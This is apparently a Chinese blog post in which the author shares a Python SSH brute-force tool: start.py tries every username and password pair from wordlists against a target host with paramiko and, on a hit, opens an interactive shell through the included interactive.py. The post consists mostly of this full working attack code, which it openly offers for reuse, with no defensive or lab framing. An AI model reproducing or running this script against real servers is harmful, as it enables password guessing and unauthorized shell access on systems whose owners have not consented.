python——ssh多线程爆破脚本

今天花了一下午写了个爆破ssh的多线程脚本,debug到新闻联播,队大佬来说是个辣鸡脚本,我在这记录一下,如有需要可以拿去用。

可以直接clone我的github:https://github.com/1344098010/BruteForceSSH

  • 说明

  • 环境python3.7
  • windows和linux均可运行
  •  爆破程序入口 start.py 
PS F:\SSHBF> python .\start.py -h
Usage: Usage start.py -H <host_ip> -p <Post>

Options:
  -h, --help           show this help message and exit
  -H TGTHOST           target host ip
  -p TGTPORT           target host port
  --uf=USERNAMES_FILE  usernames file, txt is adapted
  --pf=PASSWORDS_FILE  passwords file, txt is adapted
  --timeout=TIMEOUT    set timeout defalut 1

 

  • shell对话依赖于interactive.py
  • 以上两个脚本在同一个文件夹下,并且当进入shell后,会在同文件夹下创建log.txt记录交互日志
  • 用户名字典和密码字典默认路径是同一文件夹下的username_list.txt和username_list.txt
  • 不足点

能力不够,多线程没有应用好

在windows powershell中linux文件显示中有颜色无法显示(linux terminal正常显示),使用root用户体验更好一些

 

  • 代码

  • interactive.py

# -*- coding: utf-8 -*-
import socket
import sys
# windows does not have termios...
try:
    import termios
    import tty
    has_termios = True
except ImportError:
    has_termios = False
def interactive_shell(chan):
    if has_termios:
        posix_shell(chan)
    else:
        windows_shell(chan)
def posix_shell(chan):
    import select
    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        chan.settimeout(0.0)
        while True:
            r, w, e = select.select([chan, sys.stdin], [], [])
            if chan in r:
                try:
                    x = chan.recv(1024)
                    if len(x) == 0:
                        print ('\r\n*** EOF\r\n',)
                        break
                    sys.stdout.write(x.decode(encoding="utf-8"))
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(1)
                if len(x) == 0:
                    break
                chan.send(x)
    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
# thanks to Mike Looijmans for this code
def windows_shell(chan):
    import threading
    sys.stdout.write("Line-buffered terminal emulation. Press F6 or ^Z to send EOF.\r\n\r\n")
    def writeall(sock):
        while True:
            data = sock.recv(256)
            if not data:
                sys.stdout.write('\r\n*** EOF ***\r\n\r\n')
                sys.stdout.flush()
                break
            sys.stdout.write(data.decode())
            sys.stdout.flush()
    writer = threading.Thread(target=writeall, args=(chan,))
    writer.start()
    try:
        while True:
            d = sys.stdin.read(1)
            if not d:
                break
            try:
                chan.send(d)
            except:
                return
    except EOFError:
        # user hit ^Z or F6
        return
  • start.py

# -*- coding: utf-8 -*-
import paramiko
import interactive
import optparse
from threading import *
from time import *
import threading
TIMEOUT = 1
UNFILE = './username_list.txt'
PWFILE = './password_list.txt'
usernames = []
passwords = []


"""重新定义带返回值的线程类"""
class MyThread(threading.Thread):
    def __init__(self,func,args=()):
        super(MyThread,self).__init__()
        self.func = func
        self.args = args
    def run(self):
        self.result = self.func(*self.args)
    def get_result(self):
        try:
            return self.result
        except Exception:
            return None

# 锁屏幕 保证一次尝试输出不会错乱 (其实在这个脚本里没有太大必要,在涉及多线程并且多输出的时候效果显著)
screenLock = Semaphore(value=1)
# 记录日志 (ssh会话日志,非爆破日志)
paramiko.util.log_to_file('./log.txt')

# 建立ssh连接 返回 paramiko.SSHClient()对象 或者 None
def login(Ip, Port, Username, Password, timeout):
    try:
        screenLock.acquire() # 锁定屏幕
        print('[-] try login:', Username, '@', Password)
        global ssh
        ssh=paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(Ip,port=Port,username=Username,password=Password,compress=True,timeout=timeout) # normally port = 22
        print('[+] password found! ---(username@passowrd) :',Username,'@',Password)
        return ssh
    except:
        ssh.close()
    screenLock.release() # 解锁屏幕
    return None

# 加载密码用户名列表
def load(unfile, pwfile):
    try:
        f = open(unfile,'r')
        for un in f.readlines():
            un = un[0:-1]   # 切除回车
            usernames.append(un)
        f = open(pwfile,'r')
        for pw in f.readlines():
            pw = pw[0:-1]
            passwords.append(pw)
    except Exception as e:
        print(e)

# 连接 依赖同文件夹下的interactive.py
def connect(ssh):
    #建立交互式shell连接
    channel=ssh.invoke_shell()
    #建立交互式管道
    interactive.interactive_shell(channel)
    #关闭连接
    channel.close()
    ssh.close()
    return

def main():
    # 命令解析
    parser = optparse.OptionParser('Usage %prog '+ '-H <host_ip> -p <Post>')
    parser.add_option('-H', dest='tgtHost', type='string',help='target host ip')
    parser.add_option('-p', dest='tgtPort', type='int',help='target host port')
    parser.add_option('--uf', dest='usernames_file', type='string',help='usernames file, txt is adapted')
    parser.add_option('--pf', dest='passwords_file', type='string',help='passwords file, txt is adapted')
    parser.add_option('--timeout', dest='timeout', type='int',help='set timeout defalut 1')
    (options,args) = parser.parse_args()
    Ip = options.tgtHost
    Port = options.tgtPort
    # 如果给定了这两个参数就使用,否则就使用默认值
    unfile = UNFILE
    pwfile = PWFILE
    timeout = TIMEOUT
    if options.usernames_file != None:
        unfile = options.usernames_file
    if options.passwords_file != None:
        pwfile = options.passwords_file
    if options.timeout != None:
        timeout = options.timeout
    # 载入用户名和密码列表
    load(unfile,pwfile)
    # 线程爆破
    threads = [] # 线程池
    ssh = None # 保存线程返回的会话
    for Username in usernames:
        for Password in passwords:
            t = MyThread(func=login, args=(Ip,Port,Username,Password,timeout))
            threads.append(t)
    # 开启线程
    for i in range(len(usernames)*len(passwords)):
        threads[i].start()
        threads[i].join()
        if threads[i].get_result() != None:
            ssh = threads[i].get_result()
            break
    if ssh == None:
        pass
    else:
        ch = input("[+] 是否进入shell?(Y/n)")
        if ch == 'n':
            pass
        else:
            connect(ssh)
    print("[-] Done at ",ctime())
    return

if __name__ == '__main__':
    main()

 

参考 http://ju.outofmemory.cn/entry/98704

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值